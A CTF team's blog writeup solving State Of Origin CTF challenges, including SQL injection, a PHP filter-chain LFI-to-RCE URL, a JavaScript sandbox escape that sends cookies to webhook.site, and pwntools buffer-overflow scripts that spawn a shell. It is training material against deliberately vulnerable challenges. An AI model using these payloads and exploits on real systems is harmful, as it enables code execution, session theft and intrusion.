Post

State Of Origin CTF (SOOCTF) Writeup

Some writeups from the [NSW] Pwned team (UTS:CSEC + UNSW:SecSoc)

web

Sequel to Recipe Finder

Screenshot of challenge

1
2
3
I learnt from my mistakes. I have also implemented a database backend and put some recipes in. I wonder if your recipe is in there?

Created by @dan1el

We are greeted with this input box

Screenshot of site

That queries the server with our input and returns the recipes

Screenshot of search

Likely, this means that the server will be vulnerable to some kind of query injection.

We can confirm this by we fuzzing the request with burp repeater and see that the server will only error when an odd number of single quote ' is submitted

Screenshot of burp Screenshot of burp Screenshot of burp

Letโ€™s check if the flag is hidden in this table

Screenshot of burp

Doesnt seem to have the flag. well, maybe itโ€™s stored in another table?

We can use UNION to inject an additional query for the names of other tables. However, we we need to make sure that our query returns 6 columns too (corresponding to id, name, ingredients, method, cooking time, prep time), so we pad our request with NULL

Screenshot of burp

Wow, a table named flag! Then we query for the column names of โ€˜flagโ€™

Screenshot of burp

And finally

Screenshot of flag

SOOCTF{I_4m_@n_SQL_1nj3ct10n_3xp3rt}

written by @lexsai

Style Points

Screenshot of challenge

1
2
3
'In house' software is always so secure, we know exactly what it does! That said... apparently UNSW has been stealing our flags through our CSS testing platforms.

Created by @APender

We are greeted by

Screenshot of webpage

Which, when following one of the links, leads to

Screenshot of webpage

Notice the file parameter in the urlโ€“ maybe we have LFI?

Screenshot of site source

Damn. The server doesnt return the entire flag.

Letโ€™s notice that the server runs on php from the index.php in the url. maybe we can use a Php Filter Chain to store a php webshell and get RCE?

Screenshot of flag

Too easy ๐Ÿฅฑ

1
/index.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=cat+/flag.txt

written by @lexsai

Style Points 2

Screenshot of challenge

1
2
3
'In house' software is always so secure, we know exactly what it does! That said... apparently UNSW has been stealing our flags through our CSS testing platforms.

Created by @APender.

Exactly the same solution as Style Points

Play

Screenshot of challenge

1
2
3
You have eval, what more could you ask for?

Created by @ssparrow

We are greeted with this page

Screenshot of website

And if we try to access document.cookie, it fails

Screenshot of website error

The catch is that we have to get through these filters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
const allowedVars = {
  console: {
    log: (...args) => {
      outputcode.innerText +=
        args
          .map((x) => {
            if (x === undefined) {
              return "undefined";
            } else if (x === null) {
              return "null";
            } else {
              return JSON.stringify(x);
            }
          })
          .join(", ") + "\n";
    },
  },
};

let evalEnabled = true;

const restricted = new Proxy(
  {},
  {
    has(_, key) {
      return true;
    },
    get(_, key) {
      if (key in allowedVars) {
        return allowedVars[key];
      }
      if (key === "eval") {
        if (evalEnabled) {
          evalEnabled = false;
          return eval;
        }
      }
      if (key === "__INTERNAL_CODE_TO_EVAL") {
        return codearea.value;
      }
      return undefined;
    },
  }
);

const execute = () => {
  outputcode.innerText = "Program output:\n\n";

  evalEnabled = true;

  try {
    with (restricted) {
      eval(__INTERNAL_CODE_TO_EVAL);
    }
  } catch (err) {
    outputcode.innerText += "\n\nAn error occurred:\n" + err.toString();
  }
};

Our code is passed into that eval in executeโ€ฆ

Wait, js has a with statement? what on earth does it do?

Letโ€™s check MDN

Screenshot of mdn Screenshot of mdn

This means that, according to the code, the restricted Proxy object will take priority on the scope chain and restrict the variables we can access to the unqualified identifier console and its attribute log

So, we need to escape the restricted scope if we want to access document.cookies and steal the flag

One way we can do that is with the Function() constructor

Screenshot of js code

According to MDN, it executes like an eval in the global scopeโ€“ and, lucky for us, it is an attribute of every function as .constructor

This means we can get execution in the global scope through console.log.constructor("<eval code>") or (function(){}).constructor("eval code")

So, we can execute a payload like this to exfiltrate the flag from the admins:

console.log.constructor("fetch('https://webhook.site/WEBHOOK.SITE UUID HERE/' + btoa(document.cookies))")()

(webhook.site is just a request data reciever)

Screenshot of webpage

Screenshot of flag

SOOCTF{j4v4scr1pt_1s_truly_1_of_th3_langu4g35}

written by @lexsai

Recipe Finder

Screenshot of challenge

1
2
3
I have started working on building a web app to store some recipes. I remember learning about making web apps in university, but I can't remember how to do it. I hope this app isn't vulnerable to any attacks!!!

Created by @dan1el

Enum with fuzzer, you will find it runs jinja on backend

Try template injection

Screenshot of site

Its vulnerable, read flag,

easy

Screenshot of flag

pwn

Queensland University of 0x80491b6

Screenshot of challenge

1
2
3
We let UQ help us with our brand new hat generation technology but I think UNSW snuck in some of their own...

Created by @APender

Download here

We are given a binary which takes an input and seems to just return the same hat ASCII art. You can do this two ways: The pwn way where you look at the asm and do more dynamic analysis, or reverse it in ghidra and do everything statically.

pwn method

Running the binary in pwn-dbg shows a Technology function (You can also decompile the binary in ghidra) Dumping the asm for the function shows a system call:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> disass Technology
Dump of assembler code for function Technology:
   0x080491b6 <+0>:	push   ebp
   0x080491b7 <+1>:	mov    ebp,esp
   0x080491b9 <+3>:	push   ebx
   0x080491ba <+4>:	sub    esp,0x4
   0x080491bd <+7>:	call   0x804959b <__x86.get_pc_thunk.ax>
   0x080491c2 <+12>:	add    eax,0x3e32
   0x080491c7 <+17>:	sub    esp,0xc
   0x080491ca <+20>:	lea    edx,[eax-0x2fec]
   0x080491d0 <+26>:	push   edx
   0x080491d1 <+27>:	mov    ebx,eax
   0x080491d3 <+29>:	call   0x8049080 <system@plt>
   0x080491d8 <+34>:	add    esp,0x10
   0x080491db <+37>:	nop
   0x080491dc <+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080491df <+41>:	leave
   0x080491e0 <+42>:	ret

So if we can jump to the function then it will execute system and hopefully a shell?

Check for a buffer overflow with a cyclic pattern.

1
2
3
4
5
6
7
8
pwndbg> pi
>>> from pwn import *
>>> g = cyclic_gen()
>>> g.get(100)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
>>> quit
pwndbg> r
>>> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

This does cause a seg fault! So looking at the registers the EIP (instruction pointer) has the value โ€˜laaaโ€™ which means there is a buffer size of:

1
2
3
4
5
pwndbg> pi

>>> g.find('laaa')

(44, 0, 44)

44

Double check:

1
2
3
4
5
6
7
8
>>> print("A"*44+"B"*4)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
>>> quit

pwndbg> r
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
*EIP  0x42424242 ('BBBB')

So now that we have control over the EIP we can jump to the technology function at 0x80491b6

Rev way

Opening the binary in ghidra Shows a Technology function with system calling /bin/sh Ghidra shows that the function starts at 0x80491b6 so thatโ€™s our jump point.

The main function calls expertly_calculate_head_size which runs gets on a 36 byte char. As the program is using gets and not fgets you can cause a buffer overflow. The buffer size to get to the EIP will be 36+8 (there are 2 registers before the EIP) So a buffersize of 44 bytes.

Solv Script

So using pwntools (template by @lexsai):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

exe = ELF("hat-generator")

context.binary = exe

def conn(local =False):
    if local:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("chal.stateoforigin.online", 3001)

    return r


def main():
    r = conn(local=True)
    payload = b"A"*44+p32(0x80491b6)
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

Checking locally gives a shell and running it against the server also works! (remove local=True)

1
SOOCTF{th4t_w45nt_4_h4t}

written by @eljayright & @lexsai

Group Project

Screenshot of challenge

1
2
3
I'm so sick of group projects, they're so hard to coordinate! All we had to do was build a simple calculator but people just kept adding more and more to it! I tried to keep track of what people were working on but I have no idea anymore. - Jonah - Addition - Subtraction - Calculator Lore - Mitchell - Multiplication - Making sure 1337 speak works when the calculator's upside down - Anthony - Did nothing - Alex - ??? Anyway, here's what we have. Do you think it'll pass?

Created by @APender

Download files here

Given a binary (and later the source code, but thats the QLD mindset :evil:)

Reversing the binary in ghidra shows a bunch of functions with the most interesting one being pow:

1
2
3
4
5
6
7
8
9
10
11
12
13
double pow(double __x,double __y)

{
  float10 in_ST0;
  float10 extraout_ST0;
  
  if (__x == 2261635.739677302) {
    system("echo $((0xdeadbeef**0x41414141))");
    in_ST0 = extraout_ST0;
  }
  return (double)in_ST0;
}

So idc about anything other then the fact it is using system (at 0x804943a) . As the binary is 32bit we can put arguments for functions onto the stack meaning we can pass any value into system. There are two ways to do this:

  1. The hard and wrong way: Put /bin/sh in the buffer and then have a pointer pointing to the start of the buffer. This could work but when trying I was getting a string termination error which makes sense.
  2. Find a way to put /bin/sh into a variable or onto the stack.

Method 2 turned out to work as we can input 2 separate strings.

Now to just find a way to get a buffer overflow. Checking the lore function it is calling gets again on a 14 byte char. So buffer size of 22.

Solve script by @lexsai:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

exe = ELF("calculator")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("130.102.49.74", 3002)

    return r


def main():
    r = conn()

    # gdb.attach(r, gdbscript='b *0x0804940a')

    r.sendline(b'7/bin/sh') # /bin/sh is written to 0x804c02c + 1

    r.sendline(b'A'*22 + p32(0x804943a) + p32(0x804c02c + 1))

    r.interactive()


if __name__ == "__main__":
    main()

So why does this work?

Looking at the main function and then menu in ghidra there is a switch statement which only checks the first value of the input, with this variable being stored at 0x804c02c and we dont want the first value so 0x804c02c+1 will be the value of /bin/sh.

So combining everything gives:

1
2
"A"*22 + (system_call location) + (/bin/sh location)
"A"*32 + "0x804943a"+"0x804c02c+1"
1
SOOCTF{H0p3_1_g3t_4_b3tt3r_gR0up_n3xt_t1m3}

Credit: @lexsai for solving the chall on the day, @eljayright for writeup

Member Management Software v0.1

Screenshot of challenge

1
2
3
4
5
6
7
A new member of the club, Han, developed software to manage club members. One day, Han said to me,

"Because I want it to be highly configurable software, it first reads a config file."

Another day, the club president was looking for Han because the program had a flaw that led to the leak of all the club membersโ€™ information. Can you figure out how the flaw can be exploited?

Created by @Ch1keen

Download file here

Given a binary: Running the binary immediately gives me a heap exploit challenge vibe. Good video about how to exploit these types of challs: link

Connecting to the nc connection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ nc chal.stateoforigin.online 3003
Initializing...
SOOCTF member management system v0.1


====================
1. Add New Member
2. List Members
3. Delete Members
4. Exit
====================

>>> 1
Length: 999
Name: a
a is added to the member list. let's welcome a!

====================
1. Add New Member
2. List Members
3. Delete Members
4. Exit
====================

>>> 2
Member List:
  aOCTF{H4nny_w0nt_m4ke_such_a_mist4k3s_4nd_try1ng_t0_make_a_h34p_ch4l1}

With the flag format being SOOCTF{} the flag will be:

1
SOOCTF{H4nny_w0nt_m4ke_such_a_mist4k3s_4nd_try1ng_t0_make_a_h34p_ch4l1}

You could also do this statically in ghidra if you want.

Credit: @lexsai for solving the chall on the day, @eljayright for writeup

rev

Drainage

1
I can't trust password managers anymore. Now if someone wants to steal my password they'll have to visit the drainage. Flag format - SOOCTF{code}

Screenshot Of Challenge

Download Here

This is quite a tricky challenge, note that I had no previous knowledge of the source engine ๐Ÿ˜‚

Searching for "what is a bsp file" yields a website which explains its a "Valve Source BSP Map".

file info screenshot

The Valve Source engine is used in many games, most popular in CS:GO (Counter Strike: Global Offensive).

Searching "How to open bsp file", yields the official valve website, suggesting an open source tool, BSPSource

Screenshot of valve website

We find the projects GitHub page, and download the latest release:

https://github.com/ata4/bspsrc/releases

Extracting the release zip, we have the following files. Lets run bspinfo.bat (.bat since im on windows, .sh for linux) to find some more info about this file.

File Explorer screenshot

We will File > Open the given .bsp file

bspinfo.bat screenshot

bspinfo confirms that this map is for cs:go (Counter Strike: Global Offensive). Lets now decompile it.

Close bspinfo and open bspsrc.bat

Add our BSP file

Screenshot of bspsrc loading file

Choose the path decompile, and once done, close bspsource.

Now, to actually view the map, we need Hammer, a map development tool. Its inside the CS:GO SDK, Downloadable on steam.

Screenshot of steam

Once downloaded, open Hammer

Launcher Screenshot

Now, we will File > Open our decompiled file from bspsrc (ends in .vmf)

Once opening the file, you will get a screen like this. Choose the camera icon to look around.

Hammer Screenshot

We can see there is a load of these logic_compare objects. Not sure why they are here.

The map is a long tunnel. At one end, the player spawns, at the other end there is a keypad and multiple other objects.

Player Spawn Screenshot

Other End Screenshot

The keypad end is interesting.

Lets try and understand what these objects are doing (they are kind of like scripts)

Lets double click on all the objects that ARENT logic_compare, and have a look at the inputs and outputs.

While looking through all the objects, we can see that some of the logic_timer object inputs have a red arrow, I have zero clue what it is, but lets have a look and double click on it

Hammer Screenshot

Hammer Screenshot

Interesting, theres a parameter table, which contain 15 numbers, and it seems to be trying to compare them.

As a completely wild guess, I submitted the flag as SOOCTF{ the numbers }

And it was correct.

Final Flag: SOOCTF{183971109815233}

Great Challenge @apender(author)

Try Not To Decompile

1
2
3
4
5
6
7
8
9
Naoki released a mobile game, saying 'Do you remember the Tamago game?'. The game had a ranking system with Naoki's backend server. "Hey, it takes two weeks to win this game, mate!" The club members loved it.

Several months later, people no longer played the game, so Naoki decided to clean up the server. But Naoki heard that a club member, Han, had stolen the API key used in the ranking system and tried to run an Ethereum miner.

"Sorry, I thought the server was abandoned." said Han. "How did you intrude into the server?" asked Naoki. "The API key was hard-coded, so I could find some cloud server credentials."

Hard-coded API key led to a coin miner... Naoki sighed. Well, Naoki wants to follow up on how Han found the API key. Can you find the API key stored in the game application? The API key starts with 'SOOCTF'.

Created by @Ch1keen

Screenshot Of Challenge

Download Here

Lets have a look through the apk. Decompile it with jadx or https://www.decompiler.com

We know that the flag starts with โ€œSOCTFโ€, so lets do a quick rercursive grep

Screenshot of terminal window showing grep

We find that there are some libs that match. (There are 3 of the same, because this was compiled for 3 architechtures, ignore the dupes)

Lets look closer into them.

Opening the file, we see theres a load of data. Lets search for the starting string of the flag.

Screenshot of searching

Screeshot of searching 2

Flag

On the second search, we find the flag.

SOOCTF{D0_F1utt3r1ng_6irds_dr34m_0f_4ndr0ids?}

OSINT

The Bush Doof

1
2
3
4
5
6
7
A CTF wouldn't be complete without an afterparty, but rather than hit up the local pub we've planned something a little different. To celebrate the end of the inaugural SOOCTF we're hosting a Bush Doof and you're invited. Being a bush doof, obviously we can't just give away the location to anyone, so we've hidden it in your invite. An OSINT master like you should be able to figure it out. We can't wait to see you there!

Find the name of the road you have to turn off to get to the rave location.

Flag example: SOOCTF{Random_Road}

Created by @dLAN

Screenshot Of Challenge

Attached GIF:

Challenge GIF

Download Here

Looking at the GIF carefully, we notice that there is 3 words which popup, and dont seem to make sense.

Word 1

Word 2

Word 3

In the description itโ€™s described that we need to find a location. There is a website called what3words, which is a database of 3 words, corresponding to an irl location. Lets put the 3 words that popup into the site. https://what3words.com

1
obstruct, calendars, dearer

Zooming out, we find it gives us a location in Queensland:

Map Screenshot

The description says the flag format is SOOCTF{Random_Road}, so lets try input the 2 closest roads: Glengarrie and Urliup

Urliup is the flag.

SOOCTF{Urliup}

Misc

QLDโ€™s Secret Weapon

1
We seem to have found some sort of strange research project called 'north queensland'. But we have no idea what it is. Can you work it out?

Screenshot Of Challenge

Download Here

Opening the attached file, we see its Marlin 3D Printer GCode. This can be opened with either a proper slicer (cura), or an online viewer.

Screenshot Of File

We can open it by changing the extention to .gcode.

Screenshot Of Cura Slicer

We can see theres text under the object, moving the printer progress slider back a little, reveals the flag:

Screenshot Of Flag

Webpage

1
2
3
Hey I published a webpage Oh cool What is the address? 0x7b5AF3210B5E977626DE4710820FF82fb83592cC What??? Ch1keen has left the chat Hello mate????

Created by @Ch1keen

Screenshot Of Challenge

Assuming that the string in the description 0x7b5AF3210B5E977626DE4710820FF82fb83592cC is an ethereum address (the 0x), we go straight to https://etherscan.io to view its information:

Screenshot Of Etherscan

Etherscan reports that there is an ENS Domain associated with this wallet. Lets go to the ENS registration website to check its records out! https://app.ens.domains

Screenshot Of ens website

ENS domains can contain lots of info, mostly used for a quick link to an eth wallet (dont have to remember the numbers), but they can also hold ipfs website links, and other text.

Screenshot Of ens website

We can see that there is a ipfs link connected. Lets click View to view it through a proxy site (ipfs is distributed, you cant access directly)

Screenshot Of ens website

Screenshot Of Flag Website

We can see that it takes us to a webpage, that prints a random string of text when the r key is pressed. The flag is probably in there, these must be stored somewhere. Lets check the website files.

Screenshot Of Flag Website

We can see that there is embedded javascript inside the main html. The flag is there.

Something About Sport

1
2
3
It's not a State of Origin CTF without a little sport!

Created by @Drew3d

Screenshot of challenge

Download Here

Weโ€™re provided with an image. Running exiftool on it gives us the following warning:

1
2
3
Software                        : serioussoftware
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 289x309

We can see what this looks like by getting a hex dump of the image or checking it with zsteg:

1
2
3
4
5
6
    00000000: 01 00 11 01 01 00 01 00  01 00 01 01 01 11 01 11  |................|
    00000010: 01 00 11 01 01 01 01 00  01 00 00 01 01 11 01 11  |................|
    00000020: 01 00 11 01 01 01 01 00  01 00 01 01 01 11 01 11  |................|
    00000030: 01 00 11 01 01 01 01 00  01 00 00 01 01 11 01 11  |................|
    00000040: 01 00 11 01 01 01 01 00  01 00 01 01 01 11 10 00  |................|
    00000050: 01 00 11 01 01 01 01 00  01 00 00 01 01 11 10 00  |................|

1โ€™s and 0โ€™s for hexadecimal digits, classic -_- This seems to indicate weโ€™re supposed to treat the hexadecimal digits as binary data. Using the following python script we can retrieve the binary string:

1
2
data = open("seriousbusiness.png", "rb").read()
print(data[data.find(b"IEND") + 8:].hex())

Chucking it into CyberChef and using the magic options shows, after decoding from base 64 then binary again, we get the flag!

Screenshot of cyberchef

SOOCTF{cH3ck_7he_bYt35_kjnkbufcf}

written by @yellowsubmarine1447

This post is licensed under CC BY 4.0 by the author.